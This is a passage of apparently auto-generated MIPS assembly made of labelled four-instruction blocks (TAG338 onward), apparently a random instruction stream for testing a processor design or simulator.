bne $4, $4, TAG338
sra $3, $4, 10
TAG338:
lbu $3, 0($3)
sw $3, 0($3)
beq $3, $3, TAG339
multu $3, $3
TAG339:
mult $3, $3
mtlo $3
lui $4, 8
addu $1, $3, $4
TAG340:
andi $2, $1, 9
sb $2, 0($2)
multu $1, $2
mthi $2
TAG341:
blez $2, TAG342
sllv $3, $2, $2
beq $2, $2, TAG342
lui $4, 5
TAG342:
multu $4, $4
addiu $1, $4, 7
blez $1, TAG343
sll $0, $0, 0
TAG343:
mflo $3
sltiu $1, $4, 3
srav $2, $1, $4
lui $3, 5
TAG344:
lui $1, 4
bne $3, $3, TAG345
sll $0, $0, 0
divu $1, $3
TAG345:
lui $2, 14
bltz $2, TAG346
lui $4, 12
bgtz $2, TAG346
TAG346:
addiu $3, $4, 6
srl $2, $4, 6
bne $2, $2, TAG347
subu $4, $3, $2
TAG347:
srl $3, $4, 8
div $4, $3
mflo $1
sltiu $1, $3, 0
TAG348:
mflo $3
mfhi $4
sh $1, 0($4)
multu $1, $1
TAG349:
sra $3, $4, 1
mfhi $1
bgtz $1, TAG350
subu $3, $3, $3
TAG350:
xori $1, $3, 11
subu $3, $1, $3
lbu $4, 0($3)
lb $3, 0($3)
TAG351:
bltz $3, TAG352
mtlo $3
sll $3, $3, 10
mult $3, $3
TAG352:
sra $4, $3, 15
or $4, $4, $3
multu $4, $3
mflo $1
TAG353:
blez $1, TAG354
lb $1, 0($1)
blez $1, TAG354
sltiu $2, $1, 8
TAG354:
sll $0, $0, 0
addiu $2, $3, 6
lui $1, 1
sh $1, 0($2)
TAG355:
mthi $1
beq $1, $1, TAG356
lui $3, 13
mthi $3
TAG356:
lui $3, 9
mult $3, $3
slt $4, $3, $3
sw $3, 0($4)
TAG357:
lui $2, 8
bltz $4, TAG358
slti $2, $4, 1
mthi $2
TAG358:
bne $2, $2, TAG359
slt $2, $2, $2
lui $1, 13
mthi $2
TAG359:
mflo $2
lui $4, 7
sll $0, $0, 0
lh $3, 0($2)
TAG360:
mtlo $3
beq $3, $3, TAG361
lbu $4, 0($3)
mtlo $4
TAG361:
mfhi $3
bgez $4, TAG362
lhu $3, 0($4)
srlv $1, $3, $3
TAG362:
addiu $4, $1, 12
bne $1, $1, TAG363
mflo $3
srl $3, $3, 6
TAG363:
mtlo $3
sb $3, 0($3)
bne $3, $3, TAG364
slti $3, $3, 14
TAG364:
lbu $1, 0($3)
multu $1, $1
lui $2, 7
mflo $1
TAG365:
multu $1, $1
xor $4, $1, $1
sltiu $3, $4, 5
mult $3, $1
TAG366:
bgez $3, TAG367
div $3, $3
mflo $2
bgtz $2, TAG367
TAG367:
ori $4, $2, 4
sll $0, $0, 0
sltu $1, $2, $4
addu $1, $1, $1
TAG368:
div $1, $1
blez $1, TAG369
lui $4, 15
beq $4, $4, TAG369
TAG369:
mtlo $4
sll $0, $0, 0
beq $4, $4, TAG370
sll $0, $0, 0
TAG370:
beq $4, $4, TAG371
mfhi $1
mtlo $4
lui $1, 3
TAG371:
bgez $1, TAG372
mtlo $1
mfhi $3
multu $3, $3
TAG372:
lb $4, 0($3)
lui $1, 3
blez $3, TAG373
lw $3, 0($4)
TAG373:
divu $3, $3
lui $1, 9
sll $0, $0, 0
xori $1, $2, 15
TAG374:
sll $0, $0, 0
sll $0, $0, 0
div $3, $3
multu $1, $1
TAG375:
sll $0, $0, 0
bne $3, $3, TAG376
subu $4, $3, $3
bltz $4, TAG376
TAG376:
multu $4, $4
bne $4, $4, TAG377
mfhi $3
mtlo $4
TAG377:
lui $1, 12
sll $0, $0, 0
xori $2, $3, 4
sll $0, $0, 0
TAG378:
lw $4, 0($3)
sll $1, $3, 13
lbu $1, 0($1)
mthi $1
TAG379:
beq $1, $1, TAG380
sll $1, $1, 9
mtlo $1
mfhi $3
TAG380:
bgtz $3, TAG381
mtlo $3
and $4, $3, $3
bltz $3, TAG381
TAG381:
nor $3, $4, $4
xor $1, $3, $3
bltz $4, TAG382
lw $4, 1($3)
TAG382:
beq $4, $4, TAG383
mfhi $4
sllv $4, $4, $4
lui $3, 6
TAG383:
bne $3, $3, TAG384
ori $3, $3, 11
multu $3, $3
mfhi $1
TAG384:
sh $1, 2($1)
mfhi $3
addu $1, $1, $1
lh $3, 2($3)
TAG385:
mthi $3
blez $3, TAG386
mtlo $3
mtlo $3
TAG386:
beq $3, $3, TAG387
sw $3, 2($3)
mflo $1
mthi $1
TAG387:
mtlo $1
beq $1, $1, TAG388
mtlo $1
andi $3, $1, 10
TAG388:
sltiu $2, $3, 10
lh $2, 2($3)
bltz $2, TAG389
sll $1, $2, 12
TAG389:
bne $1, $1, TAG390
lb $4, 8192($1)
multu $1, $4
mfhi $2
TAG390:
mthi $2
bgtz $2, TAG391
multu $2, $2
lui $1, 7
TAG391:
slti $1, $1, 12
lui $1, 0
lui $1, 9
bne $1, $1, TAG392
TAG392:
lui $1, 3
sll $0, $0, 0
beq $1, $1, TAG393
mflo $3
TAG393:
addiu $1, $3, 10
beq $1, $1, TAG394
sll $0, $0, 0
mflo $2
TAG394:
multu $2, $2
addiu $2, $2, 14
divu $2, $2
bne $2, $2, TAG395
TAG395:
sh $2, 8180($2)
lw $3, 8180($2)
mtlo $3
sb $3, 8180($3)
TAG396:
sll $0, $0, 0
divu $2, $2
bgtz $3, TAG397
divu $2, $3
TAG397:
sh $2, 8180($2)
bne $2, $2, TAG398
mtlo $2
beq $2, $2, TAG398
TAG398:
mfhi $1
lbu $4, 0($1)
blez $1, TAG399
lhu $3, 0($4)
TAG399:
srl $4, $3, 0
sb $4, 0($3)
bgez $3, TAG400
mflo $2
TAG400:
div $2, $2
mflo $2
bgez $2, TAG401
mfhi $2
TAG401:
bgez $2, TAG402
sw $2, 0($2)
mfhi $4
sra $3, $4, 13
TAG402:
div $3, $3
mflo $1
bltz $3, TAG403
lui $3, 9
TAG403:
sll $0, $0, 0
blez $3, TAG404
slti $1, $3, 14
sllv $1, $3, $3
TAG404:
mthi $1
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG405:
mult $1, $1
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG406:
divu $1, $1
divu $1, $1
blez $1, TAG407
sll $0, $0, 0
TAG407:
sll $0, $0, 0
div $3, $1
sltu $3, $1, $1
lb $3, 0($3)
TAG408:
lh $1, 0($3)
mthi $3
beq $1, $3, TAG409
subu $2, $1, $1
TAG409:
xori $1, $2, 13
mtlo $1
mtlo $2
bgez $1, TAG410
TAG410:
mthi $1
addiu $2, $1, 2
sb $1, 0($2)
mtlo $2
TAG411:
mtlo $2
mfhi $1
mtlo $1
lbu $4, 0($1)
TAG412:
mfhi $1
mflo $2
multu $1, $1
bltz $4, TAG413
TAG413:
mthi $2
mflo $4
mfhi $4
mtlo $4
TAG414:
bne $4, $4, TAG415
xori $1, $4, 1
lbu $2, 0($4)
lh $1, 0($2)
TAG415:
mfhi $3
mthi $1
mfhi $1
lui $3, 15
TAG416:
bgez $3, TAG417
mflo $1
bne $1, $3, TAG417
mflo $3
TAG417:
bne $3, $3, TAG418
addu $2, $3, $3
bne $3, $2, TAG418
multu $3, $3
TAG418:
bgtz $2, TAG419
sll $0, $0, 0
andi $3, $2, 5
beq $3, $2, TAG419
TAG419:
mfhi $3
sh $3, -225($3)
mfhi $1
multu $3, $3
TAG420:
mfhi $2
srav $3, $2, $2
mult $1, $3
mtlo $1
TAG421:
ori $3, $3, 15
lb $2, 0($3)
multu $3, $3
bne $3, $2, TAG422
TAG422:
mult $2, $2
lb $3, 0($2)
beq $2, $3, TAG423
lbu $3, 0($2)
TAG423:
mult $3, $3
multu $3, $3
and $1, $3, $3
sltiu $1, $3, 3
TAG424:
mtlo $1
lui $1, 10
or $2, $1, $1
mfhi $4
TAG425:
lui $4, 0
mtlo $4
lui $4, 7
divu $4, $4
TAG426:
mtlo $4
sll $0, $0, 0
sll $0, $0, 0
mflo $1
TAG427:
mflo $2
sra $2, $2, 15
nor $4, $2, $1
mult $1, $4
TAG428:
div $4, $4
sll $0, $0, 0
sll $0, $0, 0
div $4, $4
TAG429:
sll $0, $0, 0
andi $4, $4, 10
blez $4, TAG430
ori $3, $4, 0
TAG430:
bgez $3, TAG431
sh $3, 0($3)
bgtz $3, TAG431
sh $3, 0($3)
TAG431:
sw $3, 0($3)
beq $3, $3, TAG432
multu $3, $3
divu $3, $3
TAG432:
or $1, $3, $3
mult $3, $3
lui $3, 6
mfhi $2
TAG433:
lhu $4, 0($2)
andi $4, $4, 11
bltz $4, TAG434
mult $4, $4
TAG434:
bgez $4, TAG435
lw $2, 0($4)
sra $4, $2, 14
beq $4, $4, TAG435
TAG435:
sub $3, $4, $4
bgez $4, TAG436
lhu $3, 0($4)
divu $4, $4
TAG436:
mthi $3
mfhi $4
bne $3, $3, TAG437
mflo $1
TAG437:
mflo $1
sb $1, 0($1)
lh $4, 0($1)
xori $1, $1, 6
TAG438:
srlv $1, $1, $1
addi $1, $1, 0
sb $1, 0($1)
mflo $3
TAG439:
bltz $3, TAG440
mthi $3
lb $4, 0($3)
lui $2, 13
TAG440:
srav $1, $2, $2
multu $1, $1
sll $0, $0, 0
mfhi $1
TAG441:
beq $1, $1, TAG442
sb $1, -169($1)
mflo $2
mtlo $2
TAG442:
mtlo $2
div $2, $2
xor $3, $2, $2
lui $3, 11
TAG443:
divu $3, $3
bgtz $3, TAG444
mthi $3
slt $4, $3, $3
TAG444:
lb $1, 0($4)
lui $4, 6
sll $0, $0, 0
bne $4, $1, TAG445
TAG445:
nor $3, $2, $2
beq $2, $3, TAG446
sll $0, $0, 0
srlv $3, $2, $2
TAG446:
blez $3, TAG447
sll $0, $0, 0
mult $3, $1
mfhi $3
TAG447:
lui $1, 4
sltiu $1, $3, 10
sh $1, 1($3)
lb $4, 0($1)
TAG448:
mflo $4
srl $1, $4, 13
mfhi $2
lui $1, 2
TAG449:
xori $4, $1, 4
sll $0, $0, 0
sll $0, $0, 0
mtlo $4
TAG450:
lui $3, 15
mflo $1
sll $0, $0, 0
andi $3, $3, 0
TAG451:
multu $3, $3
sb $3, 0($3)
srav $1, $3, $3
beq $3, $3, TAG452
TAG452:
lbu $2, 0($1)
mtlo $2
mult $2, $1
blez $2, TAG453
TAG453:
lui $2, 10
mtlo $2
sll $0, $0, 0
lui $2, 12
TAG454:
mfhi $2
bne $2, $2, TAG455
mtlo $2
blez $2, TAG455
TAG455:
mflo $3
lui $3, 4
mflo $4
lui $2, 14
TAG456:
addu $4, $2, $2
lui $1, 7
lui $1, 4
sll $0, $0, 0
TAG457:
sll $0, $0, 0
mfhi $1
bne $1, $3, TAG458
mflo $1
TAG458:
bltz $1, TAG459
addiu $4, $1, 5
lh $4, 0($1)
nor $1, $1, $1
TAG459:
sll $0, $0, 0
bltz $1, TAG460
mthi $1
blez $1, TAG460
TAG460:
mfhi $1
mtlo $2
mfhi $1
lui $3, 13
TAG461:
bne $3, $3, TAG462
multu $3, $3
mthi $3
beq $3, $3, TAG462
TAG462:
mthi $3
lui $3, 7
andi $3, $3, 3
beq $3, $3, TAG463
TAG463:
sra $2, $3, 12
addi $2, $2, 2
bne $3, $3, TAG464
lh $3, 0($2)
TAG464:
mtlo $3
mtlo $3
sb $3, 0($3)
bgtz $3, TAG465
TAG465:
lui $3, 7
beq $3, $3, TAG466
sll $0, $0, 0
mflo $3
TAG466:
subu $2, $3, $3
mfhi $3
bgtz $3, TAG467
addu $2, $2, $3
TAG467:
mtlo $2
sll $0, $0, 0
sll $0, $0, 0
bne $2, $2, TAG468
TAG468:
divu $2, $2
subu $4, $2, $2
mfhi $4
sll $0, $0, 0
TAG469:
sh $4, 0($4)
blez $4, TAG470
mtlo $4
sb $4, 0($4)
TAG470:
lui $4, 9
lui $3, 13
mflo $2
mthi $4
TAG471:
multu $2, $2
lb $2, 0($2)
lb $4, 0($2)
sllv $4, $2, $2
TAG472:
beq $4, $4, TAG473
mtlo $4
bltz $4, TAG473
xori $3, $4, 3
TAG473:
mthi $3
bne $3, $3, TAG474
mflo $3
mflo $2
TAG474:
mtlo $2
lhu $3, 0($2)
mflo $2
add $1, $3, $3
TAG475:
beq $1, $1, TAG476
mthi $1
bgtz $1, TAG476
xori $2, $1, 7
TAG476:
and $4, $2, $2
add $1, $4, $4
sb $1, 0($1)
mfhi $3
TAG477:
lui $1, 15
mtlo $1
mtlo $1
mflo $1
TAG478:
sll $0, $0, 0
and $3, $4, $4
mult $4, $3
sra $1, $3, 2
TAG479:
beq $1, $1, TAG480
multu $1, $1
div $1, $1
beq $1, $1, TAG480
TAG480:
srlv $3, $1, $1
srl $3, $1, 1
bne $1, $3, TAG481
addiu $1, $3, 1
TAG481:
lui $3, 13
sll $0, $0, 0
mtlo $3
beq $3, $1, TAG482
TAG482:
mult $3, $3
beq $3, $3, TAG483
mtlo $3
lhu $1, 0($3)
TAG483:
sb $1, 0($1)
sb $1, 0($1)
lui $4, 0
beq $1, $4, TAG484
TAG484:
lui $4, 13
blez $4, TAG485
div $4, $4
mfhi $1
TAG485:
mfhi $3
mtlo $3
or $2, $3, $3
lui $4, 1
TAG486:
lui $1, 4
bne $4, $1, TAG487
xor $4, $1, $4
lw $1, 0($4)
TAG487:
nor $1, $1, $1
sll $0, $0, 0
bltz $1, TAG488
mthi $1
TAG488:
sll $0, $0, 0
sll $0, $0, 0
mtlo $1
blez $1, TAG489
TAG489:
lw $2, 0($3)
sw $2, -256($2)
mfhi $2
divu $3, $2
TAG490:
beq $2, $2, TAG491
sll $0, $0, 0
mult $2, $3
sh $2, 0($3)
TAG491:
bne $3, $3, TAG492
lui $4, 13
mult $3, $3
lui $2, 10
TAG492:
slti $1, $2, 11
mthi $1
sll $0, $0, 0
sll $4, $1, 0
TAG493:
mflo $3
sll $1, $4, 13
nor $3, $4, $1
bltz $4, TAG494
TAG494:
srl $2, $3, 10
mfhi $2
sh $2, 1($3)
mfhi $1
TAG495:
sltiu $1, $1, 10
lbu $1, 0($1)
bne $1, $1, TAG496
mthi $1
TAG496:
sb $1, 0($1)
sb $1, 0($1)
lbu $4, 0($1)
bltz $4, TAG497
TAG497:
sll $4, $4, 8
mtlo $4
subu $1, $4, $4
sh $4, 0($4)
TAG498:
mtlo $1
mflo $1
addi $4, $1, 8
lui $4, 15
TAG499:
ori $2, $4, 9
div $4, $2
bgez $2, TAG500
srav $1, $2, $2
TAG500:
mflo $1
lui $4, 8
mflo $2
mtlo $1
TAG501:
bne $2, $2, TAG502
mfhi $3
bgez $2, TAG502
slti $1, $2, 15
TAG502:
mflo $1
sw $1, 0($1)
beq $1, $1, TAG503
or $4, $1, $1
TAG503:
lui $1, 13
mfhi $1
sll $0, $0, 0
lui $1, 0
TAG504:
ori $1, $1, 12
addu $4, $1, $1
bltz $1, TAG505
sllv $3, $4, $4
TAG505:
blez $3, TAG506
srl $2, $3, 2
sltiu $3, $2, 3
mtlo $3
TAG506:
sub $3, $3, $3
xori $4, $3, 12
blez $3, TAG507
mfhi $3
TAG507:
bltz $3, TAG508
xor $4, $3, $3
lb $1, 0($4)
beq $3, $4, TAG508
TAG508:
lui $1, 14
blez $1, TAG509
mfhi $3
bne $1, $3, TAG509
TAG509:
subu $1, $3, $3
bgez $1, TAG510
lui $4, 4
lui $4, 15
TAG510:
mthi $4
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG511:
sll $0, $0, 0
sll $0, $0, 0
mtlo $3
divu $3, $3
TAG512:
lui $2, 8
sll $0, $0, 0
mflo $1
bne $2, $2, TAG513
TAG513:
mfhi $4
lui $4, 8
sll $0, $0, 0
addiu $4, $4, 3
TAG514:
beq $4, $4, TAG515
mfhi $2
mtlo $4
lui $2, 15
TAG515:
xor $1, $2, $2
multu $1, $1
lui $1, 12
sll $0, $0, 0
TAG516:
sll $0, $0, 0
addu $2, $1, $1
lui $3, 15
sll $0, $0, 0
TAG517:
srlv $3, $3, $3
sll $0, $0, 0
ori $1, $3, 11
div $3, $3
TAG518:
bne $1, $1, TAG519
addiu $4, $1, 12
blez $4, TAG519
sll $0, $0, 0
TAG519:
blez $4, TAG520
slti $3, $4, 9
sw $4, 0($3)
bgtz $4, TAG520
TAG520:
lw $1, 0($3)
mtlo $1
sw $1, 0($3)
addu $1, $3, $3
TAG521:
mtlo $1
mtlo $1
sh $1, 0($1)
blez $1, TAG522
TAG522:
multu $1, $1
mtlo $1
lui $4, 0
lhu $4, 0($4)
TAG523:
lh $4, 0($4)
mtlo $4
beq $4, $4, TAG524
sb $4, 0($4)
TAG524:
bne $4, $4, TAG525
xori $3, $4, 11
lh $1, 0($4)
bgez $3, TAG525
TAG525:
sub $4, $1, $1
srlv $4, $1, $1
subu $3, $4, $4
mtlo $1
TAG526:
multu $3, $3
sh $3, 0($3)
add $3, $3, $3
sh $3, 0($3)
TAG527:
lui $2, 14
bne $2, $2, TAG528
mtlo $2
blez $2, TAG528
TAG528:
xori $1, $2, 13
mult $2, $1
sll $0, $0, 0
beq $2, $2, TAG529
TAG529:
mfhi $4
blez $1, TAG530
slt $2, $4, $1
multu $2, $4
TAG530:
mthi $2
bne $2, $2, TAG531
sltiu $4, $2, 15
lb $4, 0($4)
TAG531:
multu $4, $4
sw $4, 0($4)
sh $4, 0($4)
sh $4, 0($4)
TAG532:
ori $3, $4, 1
mtlo $4
bne $4, $3, TAG533
mthi $4
TAG533:
lb $3, 0($3)
bgtz $3, TAG534
lb $2, 0($3)
mfhi $3
TAG534:
xori $2, $3, 10
sllv $2, $3, $2
lbu $2, 0($3)
sll $2, $2, 13
TAG535:
sb $2, 0($2)
addu $1, $2, $2
xor $4, $2, $2
beq $2, $4, TAG536
TAG536:
srl $2, $4, 8
multu $4, $4
mthi $4
beq $4, $2, TAG537
TAG537:
mfhi $1
bltz $2, TAG538
lui $4, 15
bne $2, $1, TAG538
TAG538:
mfhi $4
lui $1, 5
multu $1, $4
multu $1, $4
TAG539:
lui $4, 6
ori $1, $4, 1
sll $0, $0, 0
divu $1, $4
TAG540:
mthi $4
slt $1, $4, $4
addiu $3, $4, 15
lui $3, 6
TAG541:
mult $3, $3
sll $0, $0, 0
sll $0, $0, 0
lui $3, 8
TAG542:
div $3, $3
bne $3, $3, TAG543
slt $3, $3, $3
blez $3, TAG543
TAG543:
sltu $3, $3, $3
mthi $3
multu $3, $3
lui $3, 1
TAG544:
mtlo $3
subu $4, $3, $3
srav $3, $4, $3
srl $4, $4, 1
TAG545:
bne $4, $4, TAG546
mfhi $1
bgtz $4, TAG546
sw $4, 0($1)
TAG546:
mfhi $2
lui $4, 13
beq $1, $2, TAG547
sra $1, $1, 11
TAG547:
multu $1, $1
lh $4, 0($1)
lui $2, 6
or $2, $2, $4
TAG548:
bne $2, $2, TAG549
sra $4, $2, 13
bgtz $4, TAG549
sll $0, $0, 0
TAG549:
beq $4, $4, TAG550
sh $4, 0($4)
sw $4, 0($4)
lui $1, 10
TAG550:
multu $1, $1
mult $1, $1
bne $1, $1, TAG551
lui $4, 0
TAG551:
sh $4, 0($4)
lui $1, 13
sw $1, 0($4)
mfhi $4
TAG552:
mult $4, $4
sltiu $1, $4, 5
mult $4, $1
mflo $2
TAG553:
beq $2, $2, TAG554
sw $2, 0($2)
lb $1, 0($2)
mfhi $3
TAG554:
bgtz $3, TAG555
addiu $1, $3, 6
divu $1, $1
lb $1, 0($3)
TAG555:
bgtz $1, TAG556
addiu $1, $1, 4
mfhi $3
bgez $1, TAG556
TAG556:
sw $3, 0($3)
bne $3, $3, TAG557
mult $3, $3
sw $3, 0($3)
TAG557:
bne $3, $3, TAG558
lui $3, 12
sll $0, $0, 0
div $3, $3
TAG558:
beq $1, $1, TAG559
lw $3, 0($1)
lui $4, 12
mtlo $3
TAG559:
bgez $4, TAG560
mult $4, $4
mtlo $4
lhu $4, 0($4)
TAG560:
lh $1, 0($4)
bltz $1, TAG561
multu $4, $1
mult $4, $1
TAG561:
mfhi $2
lbu $1, 0($2)
blez $1, TAG562
sub $4, $1, $1
TAG562:
mflo $4
mflo $1
mult $1, $4
mflo $4
TAG563:
mtlo $4
mtlo $4
sh $4, 0($4)
lhu $4, 0($4)
TAG564:
mult $4, $4
blez $4, TAG565
mult $4, $4
add $1, $4, $4
TAG565:
sw $1, 0($1)
bne $1, $1, TAG566
ori $1, $1, 8
and $4, $1, $1
TAG566:
or $2, $4, $4
lbu $2, 0($2)
bne $2, $2, TAG567
mthi $4
TAG567:
lui $1, 13
bltz $1, TAG568
lui $3, 10
sll $0, $0, 0
TAG568:
bgtz $3, TAG569
srlv $1, $3, $3
sra $1, $3, 4
blez $3, TAG569
TAG569:
lui $3, 15
beq $3, $1, TAG570
lui $3, 3
mflo $2
TAG570:
sw $2, 0($2)
bgtz $2, TAG571
lui $1, 0
lh $2, 0($2)
TAG571:
sll $1, $2, 6
sltu $2, $2, $2
add $2, $2, $2
mflo $1
TAG572:
lhu $1, 0($1)
lui $4, 12
mtlo $1
blez $1, TAG573
TAG573:
slti $3, $4, 9
sltu $4, $3, $4
lui $4, 5
mtlo $4
TAG574:
lui $1, 0
mthi $1
sra $2, $4, 14
bltz $2, TAG575
TAG575:
mtlo $2
mult $2, $2
slt $1, $2, $2
mult $2, $1
TAG576:
sltu $4, $1, $1
sh $1, 0($1)
beq $1, $4, TAG577
lui $2, 4
TAG577:
sll $0, $0, 0
sll $0, $0, 0
subu $3, $2, $2
div $2, $2
TAG578:
lw $3, 0($3)
bgez $3, TAG579
sra $4, $3, 9
sh $4, 0($3)
TAG579:
lb $2, 0($4)
beq $2, $4, TAG580
mflo $1
lh $1, 0($4)
TAG580:
lui $1, 7
lui $2, 9
nor $4, $2, $1
sll $0, $0, 0
TAG581:
multu $3, $3
bne $3, $3, TAG582
lui $2, 11
lui $3, 10
TAG582:
bne $3, $3, TAG583
xori $2, $3, 7
nor $3, $3, $3
srav $1, $2, $3
TAG583:
lhu $1, 0($1)
lui $2, 9
beq $1, $2, TAG584
mthi $2
TAG584:
sltu $3, $2, $2
lui $4, 5
lui $2, 11
sllv $4, $2, $2
TAG585:
bne $4, $4, TAG586
sll $0, $0, 0
sll $0, $0, 0
bne $4, $4, TAG586
TAG586:
subu $2, $4, $4
multu $4, $2
sltiu $2, $2, 6
mfhi $4
TAG587:
bne $4, $4, TAG588
sb $4, 0($4)
multu $4, $4
lh $3, 0($4)
TAG588:
sw $3, 0($3)
lh $3, 0($3)
lhu $2, 0($3)
mflo $3
TAG589:
sb $3, 0($3)
lhu $4, 0($3)
lui $3, 12
xori $1, $3, 14
TAG590:
mfhi $3
sb $3, 0($3)
mflo $3
sb $3, 0($3)
TAG591:
mult $3, $3
blez $3, TAG592
lui $2, 15
bne $2, $3, TAG592
TAG592:
sll $0, $0, 0
mflo $3
beq $3, $3, TAG593
mult $3, $3
TAG593:
lw $3, 0($3)
lb $1, 0($3)
mfhi $1
bne $3, $1, TAG594
TAG594:
mflo $3
mtlo $3
lbu $1, 0($3)
bne $3, $1, TAG595
TAG595:
lhu $3, 0($1)
lw $3, 0($1)
sh $3, 0($1)
mflo $4
TAG596:
multu $4, $4
beq $4, $4, TAG597
mthi $4
mthi $4
TAG597:
beq $4, $4, TAG598
xori $3, $4, 2
lh $3, 0($3)
lhu $3, 0($3)
TAG598:
bne $3, $3, TAG599
mtlo $3
bne $3, $3, TAG599
mfhi $2
TAG599:
mthi $2
mflo $2
bgtz $2, TAG600
sb $2, 0($2)
TAG600:
lhu $4, 0($2)
lui $4, 10
lh $3, 0($2)
lui $2, 3
TAG601:
sll $0, $0, 0
addiu $2, $2, 9
mtlo $2
beq $2, $2, TAG602
TAG602:
slti $3, $2, 12
bgez $2, TAG603
or $2, $3, $2
lh $3, 0($2)
TAG603:
sh $3, 0($3)
mthi $3
mult $3, $3
bltz $3, TAG604
TAG604:
or $2, $3, $3
mult $3, $3
bltz $3, TAG605
lw $4, 0($3)
TAG605:
mflo $1
sltiu $2, $1, 9
ori $3, $1, 13
mtlo $4
TAG606:
bgez $3, TAG607
mtlo $3
srav $4, $3, $3
lb $3, 0($4)
TAG607:
slt $1, $3, $3
mflo $3
lb $3, 0($3)
sh $3, 0($3)
TAG608:
multu $3, $3
sw $3, 0($3)
mthi $3
nor $4, $3, $3
TAG609:
div $4, $4
sw $4, 1($4)
lui $2, 8
multu $4, $2
TAG610:
div $2, $2
sll $0, $0, 0
sll $0, $0, 0
addiu $4, $4, 15
TAG611:
sb $4, 0($4)
sh $4, 0($4)
mtlo $4
lui $3, 7
TAG612:
mult $3, $3
bne $3, $3, TAG613
lui $4, 11
beq $3, $4, TAG613
TAG613:
mflo $4
mtlo $4
ori $4, $4, 9
mfhi $1
TAG614:
lb $4, 0($1)
add $2, $4, $4
mtlo $2
lbu $4, 0($1)
TAG615:
multu $4, $4
blez $4, TAG616
nor $3, $4, $4
lui $1, 4
TAG616:
sb $1, 0($1)
lbu $2, 0($1)
mtlo $2
lbu $1, 0($2)
TAG617:
lb $1, 0($1)
mthi $1
bgez $1, TAG618
sb $1, 0($1)
TAG618:
lb $2, 0($1)
mflo $4
mflo $4
addiu $3, $4, 10
TAG619:
blez $3, TAG620
divu $3, $3
mfhi $4
sb $3, 0($3)
TAG620:
bne $4, $4, TAG621
subu $1, $4, $4
mult $4, $1
lb $2, 0($1)
TAG621:
srav $2, $2, $2
mflo $3
lb $1, 1($2)
lhu $4, 1($2)
TAG622:
bltz $4, TAG623
addiu $2, $4, 2
xori $1, $4, 14
multu $1, $4
TAG623:
divu $1, $1
srl $1, $1, 13
divu $1, $1
srl $3, $1, 13
TAG624:
blez $3, TAG625
mflo $2
slti $1, $2, 2
mflo $3
TAG625:
mtlo $3
lh $3, 0($3)
sw $3, 1($3)
bne $3, $3, TAG626
TAG626:
mtlo $3
sltiu $4, $3, 3
lui $1, 0
sllv $1, $1, $1
TAG627:
bne $1, $1, TAG628
mflo $2
lhu $3, 1($2)
mfhi $4
TAG628:
bltz $4, TAG629
lhu $3, 0($4)
mtlo $4
slt $2, $4, $4
TAG629:
mtlo $2
sll $3, $2, 9
bne $2, $2, TAG630
mult $2, $3
TAG630:
lb $3, 0($3)
div $3, $3
mfhi $1
xor $2, $3, $3
TAG631:
mthi $2
sw $2, 0($2)
beq $2, $2, TAG632
xori $4, $2, 1
TAG632:
lb $3, 0($4)
xori $2, $4, 6
bgtz $2, TAG633
lbu $2, 0($3)
TAG633:
nor $4, $2, $2
multu $2, $2
multu $2, $4
slti $4, $4, 5
TAG634:
subu $4, $4, $4
slt $4, $4, $4
lw $3, 0($4)
sh $3, 0($3)
TAG635:
mtlo $3
mult $3, $3
lui $1, 4
lui $1, 9
TAG636:
div $1, $1
mflo $4
mthi $1
sll $0, $0, 0
TAG637:
lui $3, 13
mflo $4
mflo $2
slti $4, $3, 12
TAG638:
lui $2, 1
lui $3, 10
mthi $3
andi $4, $4, 2
TAG639:
mthi $4
bgez $4, TAG640
lb $1, 0($4)
sllv $3, $4, $4
TAG640:
bltz $3, TAG641
mtlo $3
sll $0, $0, 0
srl $2, $3, 5
TAG641:
mfhi $2
mtlo $2
multu $2, $2
mfhi $3
TAG642:
bne $3, $3, TAG643
mthi $3
multu $3, $3
lb $1, 0($3)
TAG643:
mult $1, $1
multu $1, $1
mult $1, $1
srl $4, $1, 0
TAG644:
mfhi $1
sll $3, $1, 6
mflo $4
sw $4, 0($1)
TAG645:
slt $4, $4, $4
bne $4, $4, TAG646
multu $4, $4
sh $4, 0($4)
TAG646:
mult $4, $4
beq $4, $4, TAG647
addi $2, $4, 15
mtlo $4
TAG647:
sb $2, 0($2)
lbu $1, 0($2)
lbu $2, 0($2)
or $2, $1, $1
TAG648:
lb $1, 0($2)
lui $2, 12
lui $2, 4
beq $2, $2, TAG649
TAG649:
lui $2, 2
sll $0, $0, 0
sll $0, $0, 0
lui $2, 1
TAG650:
addu $4, $2, $2
srav $4, $2, $4
lui $4, 1
addiu $1, $4, 2
TAG651:
ori $2, $1, 1
mtlo $2
sll $0, $0, 0
multu $2, $1
TAG652:
nor $2, $2, $2
blez $2, TAG653
mtlo $2
bne $2, $2, TAG653
TAG653:
lui $2, 3
sll $0, $0, 0
mthi $2
bne $2, $2, TAG654
TAG654:
mthi $2
sll $0, $0, 0
bne $4, $2, TAG655
sll $2, $4, 4
TAG655:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG656:
subu $3, $4, $4
lui $2, 12
mflo $4
blez $2, TAG657
TAG657:
sra $1, $4, 0
div $1, $1
divu $1, $4
sll $0, $0, 0
TAG658:
sll $0, $0, 0
mtlo $1
sll $0, $0, 0
mflo $3
TAG659:
xori $3, $3, 15
sra $3, $3, 12
beq $3, $3, TAG660
lui $1, 3
TAG660:
lui $4, 7
lui $4, 4
lui $1, 0
sll $0, $0, 0
TAG661:
mfhi $4
sb $4, 0($4)
lh $2, 0($4)
mfhi $2
TAG662:
mflo $1
sltiu $4, $1, 7
blez $1, TAG663
mult $4, $2
TAG663:
slti $4, $4, 13
xori $1, $4, 7
addiu $1, $4, 7
subu $1, $1, $4
TAG664:
beq $1, $1, TAG665
nor $2, $1, $1
mflo $3
mflo $1
TAG665:
sb $1, 0($1)
lbu $2, 0($1)
sltiu $2, $1, 9
mflo $1
TAG666:
bltz $1, TAG667
lh $1, 0($1)
xor $4, $1, $1
bgtz $4, TAG667
TAG667:
multu $4, $4
blez $4, TAG668
lhu $4, 0($4)
sll $1, $4, 9
TAG668:
mflo $4
srl $2, $4, 0
lbu $4, 0($1)
addi $1, $4, 1
TAG669:
beq $1, $1, TAG670
sb $1, 0($1)
mfhi $3
slti $1, $1, 12
TAG670:
lbu $4, 0($1)
or $2, $4, $1
sb $1, 0($1)
mflo $2
TAG671:
mfhi $2
multu $2, $2
mthi $2
